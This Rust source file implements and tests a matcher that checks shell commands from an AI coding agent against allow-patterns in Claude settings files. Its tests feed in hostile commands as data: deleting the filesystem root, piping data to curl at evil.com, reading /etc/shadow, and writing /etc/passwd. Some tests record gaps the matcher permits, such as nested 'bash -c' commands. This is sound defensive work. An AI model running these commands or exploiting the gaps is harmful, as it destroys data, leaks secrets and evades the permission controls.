use std::collections::HashSet;
use std::path::Path;

use crate::cst::{Cmd, check};

pub struct Matcher {
    exact: HashSet<String>,
    globs: Vec<Vec<String>>,
}

impl Matcher {
    pub fn load() -> Self {
        Self::load_with_project_dir(
            std::env::var_os("CLAUDE_PROJECT_DIR")
                .or_else(|| std::env::var_os("CWD"))
                .as_deref()
                .map(Path::new),
        )
    }

    pub fn load_with_project_dir(project_dir: Option<&Path>) -> Self {
        let mut patterns = Matcher {
            exact: HashSet::new(),
            globs: Vec::new(),
        };

        if let Some(home) = std::env::var_os("HOME") {
            patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
        }

        if let Some(dir) = project_dir {
            let base = dir.join(".claude");
            patterns.load_file(&base.join("settings.json"));
            patterns.load_file(&base.join("settings.local.json"));
        }

        patterns
    }

    fn load_file(&mut self, path: &Path) {
        let Ok(contents) = std::fs::read_to_string(path) else {
            return;
        };
        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
            return;
        };

        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
            for entry in arr.iter().filter_map(|e| e.as_str()) {
                self.add_pattern(entry);
            }
        }

        if let Some(arr) = value
            .get("permissions")
            .and_then(|v| v.get("allow"))
            .and_then(|v| v.as_array())
        {
            for entry in arr.iter().filter_map(|e| e.as_str()) {
                self.add_pattern(entry);
            }
        }
    }

    fn add_pattern(&mut self, entry: &str) {
        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
            return;
        };
        if inner.is_empty() {
            return;
        }
        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
            format!("{prefix} *")
        } else {
            inner.to_string()
        };
        if normalized.contains('*') {
            self.globs
                .push(normalized.split('*').map(String::from).collect());
        } else {
            self.exact.insert(normalized);
        }
    }

    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
        let Cmd::Simple(simple) = cmd else {
            return false;
        };
        let normalized = check::normalize_for_matching(simple);
        let normalized = normalized.trim();
        if normalized.is_empty() {
            return false;
        }
        if self.exact.contains(normalized) {
            return true;
        }
        self.globs
            .iter()
            .any(|parts| glob_matches(parts, normalized))
    }

    pub fn is_empty(&self) -> bool {
        self.exact.is_empty() && self.globs.is_empty()
    }

    #[cfg(test)]
    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
        let mut m = Matcher {
            exact: HashSet::new(),
            globs: Vec::new(),
        };
        for p in patterns {
            m.add_pattern(&format!("Bash({p})"));
        }
        m
    }
}

pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
    match cmd {
        Cmd::Simple(_) => {
            check::is_safe_cmd(cmd)
                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
        }
        _ => check::is_safe_cmd(cmd),
    }
}

fn glob_matches(parts: &[String], text: &str) -> bool {
    let first = &parts[0];
    let last = &parts[parts.len() - 1];

    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
        let prefix = &first[..first.len() - 1];
        return text == prefix || text.starts_with(first.as_str());
    }

    if !text.starts_with(first.as_str()) {
        return false;
    }
    if !text.ends_with(last.as_str()) {
        return false;
    }
    let mut pos = first.len();
    let end = text.len() - last.len();
    if pos > end {
        return false;
    }
    for part in &parts[1..parts.len() - 1] {
        match text[pos..end].find(part.as_str()) {
            Some(idx) => pos += idx + part.len(),
            None => return false,
        }
    }
    pos <= end
}

#[cfg(test)]
mod tests {
    use super::*;
    use std::fs;

    use crate::cst;

    fn empty() -> Matcher {
        Matcher {
            exact: HashSet::new(),
            globs: Vec::new(),
        }
    }

    fn cmd(s: &str) -> Cmd {
        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
        assert_eq!(
            script.0[0].pipeline.commands.len(),
            1,
            "expected single command: {s}"
        );
        script.0[0].pipeline.commands[0].clone()
    }

    fn segments(command: &str) -> Vec<Cmd> {
        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
        script
            .0
            .into_iter()
            .flat_map(|stmt| stmt.pipeline.commands)
            .collect()
    }

    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
        is_cmd_covered(cmd, patterns)
    }

    fn all_covered(command: &str, patterns: &Matcher) -> bool {
        let Some(script) = cst::parse(command) else {
            return false;
        };
        script.0.iter().all(|stmt| {
            check::is_safe_pipeline(&stmt.pipeline)
                || stmt
                    .pipeline
                    .commands
                    .iter()
                    .all(|c| is_cmd_covered(c, patterns))
        })
    }

    #[test]
    fn parse_exact_pattern() {
        let mut p = empty();
        p.add_pattern("Bash(npm test)");
        assert!(p.exact.contains("npm test"));
        assert!(p.globs.is_empty());
    }

    #[test]
    fn parse_legacy_colon_star() {
        let mut p = empty();
        p.add_pattern("Bash(npm run:*)");
        assert!(p.exact.is_empty());
        assert_eq!(p.globs.len(), 1);
    }

    #[test]
    fn parse_space_star() {
        let mut p = empty();
        p.add_pattern("Bash(npm run *)");
        assert!(p.exact.is_empty());
        assert_eq!(p.globs.len(), 1);
    }

    #[test]
    fn parse_non_bash_skipped() {
        let mut p = empty();
        p.add_pattern("WebFetch");
        p.add_pattern("XcodeBuildMCP");
        assert!(p.is_empty());
    }

    #[test]
    fn parse_empty_bash_skipped() {
        let mut p = empty();
        p.add_pattern("Bash()");
        assert!(p.is_empty());
    }

    #[test]
    fn match_exact() {
        let mut p = empty();
        p.add_pattern("Bash(npm test)");
        assert!(p.matches_cmd(&cmd("npm test")));
        assert!(!p.matches_cmd(&cmd("npm test --watch")));
    }

    #[test]
    fn match_space_star_word_boundary() {
        let mut p = empty();
        p.add_pattern("Bash(ls *)");
        assert!(p.matches_cmd(&cmd("ls -la")));
        assert!(p.matches_cmd(&cmd("ls foo")));
        assert!(!p.matches_cmd(&cmd("lsof")));
    }

    #[test]
    fn match_star_no_space_no_boundary() {
        let mut p = empty();
        p.add_pattern("Bash(ls*)");
        assert!(p.matches_cmd(&cmd("ls -la")));
        assert!(p.matches_cmd(&cmd("lsof")));
    }

    #[test]
    fn match_legacy_colon_star_word_boundary() {
        let mut p = empty();
        p.add_pattern("Bash(npm run:*)");
        assert!(p.matches_cmd(&cmd("npm run build")));
        assert!(p.matches_cmd(&cmd("npm run test")));
        assert!(!p.matches_cmd(&cmd("npm running")));
        assert!(!p.matches_cmd(&cmd("npm install")));
    }

    #[test]
    fn match_star_at_beginning() {
        let mut p = empty();
        p.add_pattern("Bash(* --version)");
        assert!(p.matches_cmd(&cmd("npm --version")));
        assert!(p.matches_cmd(&cmd("cargo --version")));
        assert!(!p.matches_cmd(&cmd("npm --help")));
    }

    #[test]
    fn match_star_in_middle() {
        let mut p = empty();
        p.add_pattern("Bash(git * main)");
        assert!(p.matches_cmd(&cmd("git checkout main")));
        assert!(p.matches_cmd(&cmd("git merge main")));
        assert!(!p.matches_cmd(&cmd("git checkout develop")));
    }

    #[test]
    fn match_env_prefix_stripped() {
        let mut p = empty();
        p.add_pattern("Bash(bundle install)");
        assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
    }

    #[test]
    fn match_fd_redirect_stripped() {
        let mut p = empty();
        p.add_pattern("Bash(npm test)");
        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
    }

    #[test]
    fn match_fd_redirect_with_glob() {
        let mut p = empty();
        p.add_pattern("Bash(npm run *)");
        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
    }

    #[test]
    fn empty_patterns_match_nothing() {
        let p = empty();
        assert!(!p.matches_cmd(&cmd("anything")));
    }

    #[test]
    fn match_bare_star_matches_everything() {
        let mut p = empty();
        p.add_pattern("Bash(*)");
        assert!(p.matches_cmd(&cmd("anything at all")));
        assert!(p.matches_cmd(&cmd("rm -rf /")));
    }

    #[test]
    fn unsafe_syntax_not_bypassed_by_match() {
        let mut p = empty();
        p.add_pattern("Bash(./script.sh *)");
        let c = cmd("./script.sh > /etc/passwd");
        assert!(check::has_unsafe_syntax(&c));
        assert!(!is_covered(&c, &p));
    }

    #[test]
    fn command_substitution_not_bypassed_by_match() {
        let mut p = empty();
        p.add_pattern("Bash(./script.sh *)");
        let c = cmd("./script.sh $(rm -rf /)");
        assert!(!is_covered(&c, &p));
    }

    #[test]
    fn mixed_chain_safe_plus_settings() {
        let mut p = empty();
        p.add_pattern("Bash(./generate-docs.sh)");
        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
    }

    #[test]
    fn mixed_chain_safe_plus_unapproved_denied() {
        let mut p = empty();
        p.add_pattern("Bash(./generate-docs.sh)");
        assert!(!all_covered("cargo test && rm -rf /", &p));
    }

    #[test]
    fn glob_does_not_cross_chain_boundary() {
        let mut p = empty();
        p.add_pattern("Bash(cargo test *)");
        let cmds = segments("cargo test --release && rm -rf /");
        assert_eq!(cmds.len(), 2);
        assert!(p.matches_cmd(&cmds[0]));
        assert!(!p.matches_cmd(&cmds[1]));
        assert!(!all_covered("cargo test --release && rm -rf /", &p));
    }

    #[test]
    fn glob_does_not_cross_pipe_boundary() {
        let mut p = empty();
        p.add_pattern("Bash(safe-cmd *)");
        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
    }

    #[test]
    fn glob_does_not_cross_semicolon_boundary() {
        let mut p = empty();
        p.add_pattern("Bash(safe-cmd *)");
        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
    }

    #[test]
    fn file_redirect_promoted_to_safewrite() {
        let p = empty();
        let c = cmd("echo > /etc/passwd");
        assert!(is_covered(&c, &p));
    }

    #[test]
    fn bare_star_blocked_by_unsafe_syntax_backtick() {
        let mut p = empty();
        p.add_pattern("Bash(*)");
        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
    }

    #[test]
    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
        let mut p = empty();
        p.add_pattern("Bash(*)");
        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
    }

    #[test]
    fn safe_command_substitution_allowed_through_is_safe() {
        let p = empty();
        assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
    }

    #[test]
    fn nested_shell_not_recursively_validated_by_settings() {
        let mut p = empty();
        p.add_pattern("Bash(bash *)");
        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
        assert!(!check::is_safe_cmd(&c));
        assert!(!check::has_unsafe_syntax(&c));
        assert!(is_covered(&c, &p));
    }

    #[test]
    fn nested_shell_redirect_promoted_to_safewrite() {
        let p = empty();
        let c = cmd("bash -c 'echo hello' > /tmp/out");
        assert!(is_covered(&c, &p));
    }

    #[test]
    fn quoted_operators_stay_as_one_segment() {
        let mut p = empty();
        p.add_pattern("Bash(./script *)");
        assert!(all_covered("./script 'arg && rm -rf /'", &p));
    }

    #[test]
    fn load_with_project_dir_reads_local_settings() {
        let dir = tempfile::tempdir().unwrap();
        let claude_dir = dir.path().join(".claude");
        fs::create_dir_all(&claude_dir).unwrap();
        fs::write(
            claude_dir.join("settings.local.json"),
            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
        )
        .unwrap();
        let p = Matcher::load_with_project_dir(Some(dir.path()));
        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
        assert!(!p.matches_cmd(&cmd("./evil.sh")));
    }

    #[test]
    fn load_with_project_dir_reads_both_settings_files() {
        let dir = tempfile::tempdir().unwrap();
        let claude_dir = dir.path().join(".claude");
        fs::create_dir_all(&claude_dir).unwrap();
        fs::write(
            claude_dir.join("settings.json"),
            r#"{"permissions":{"allow":["Bash(cargo install:*)"]}}"#,
        )
        .unwrap();
        fs::write(
            claude_dir.join("settings.local.json"),
            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
        )
        .unwrap();
        let p = Matcher::load_with_project_dir(Some(dir.path()));
        assert!(p.matches_cmd(&cmd("cargo install --path .")));
        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
    }

    #[test]
    fn load_with_no_project_dir_skips_project_settings() {
        let p = Matcher::load_with_project_dir(None);
        assert!(!p.matches_cmd(&cmd("./generate-docs.sh")));
    }

    #[test]
    fn load_with_project_dir_chains_with_builtins() {
        let dir = tempfile::tempdir().unwrap();
        let claude_dir = dir.path().join(".claude");
        fs::create_dir_all(&claude_dir).unwrap();
        fs::write(
            claude_dir.join("settings.local.json"),
            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
        )
        .unwrap();
        let p = Matcher::load_with_project_dir(Some(dir.path()));
        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
        assert!(!all_covered("cargo test && ./evil.sh", &p));
    }

    #[test]
    fn load_file_nonexistent() {
        let mut p = empty();
        p.load_file(Path::new("/nonexistent/path/settings.json"));
        assert!(p.is_empty());
    }

    #[test]
    fn load_file_malformed_json() {
        let dir = tempfile::tempdir().unwrap();
        let path = dir.path().join("settings.json");
        std::fs::write(&path, "not json{{{").unwrap();
        let mut p = empty();
        p.load_file(&path);
        assert!(p.is_empty());
    }

    #[test]
    fn load_file_approved_commands() {
        let dir = tempfile::tempdir().unwrap();
        let path = dir.path().join("settings.json");
        fs::write(
            &path,
            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
        )
        .unwrap();
        let mut p = empty();
        p.load_file(&path);
        assert!(p.matches_cmd(&cmd("npm test")));
        assert!(p.matches_cmd(&cmd("npm run build")));
        assert!(!p.matches_cmd(&cmd("curl evil.com")));
    }

    #[test]
    fn load_file_permissions_allow() {
        let dir = tempfile::tempdir().unwrap();
        let path = dir.path().join("settings.json");
        fs::write(
            &path,
            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
        )
        .unwrap();
        let mut p = empty();
        p.load_file(&path);
        assert!(p.matches_cmd(&cmd("cargo test")));
        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
    }

    #[test]
    fn load_file_both_fields() {
        let dir = tempfile::tempdir().unwrap();
        let path = dir.path().join("settings.json");
        fs::write(
            &path,
            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
        )
        .unwrap();
        let mut p = empty();
        p.load_file(&path);
        assert!(p.matches_cmd(&cmd("npm test")));
        assert!(p.matches_cmd(&cmd("cargo test --release")));
    }
}
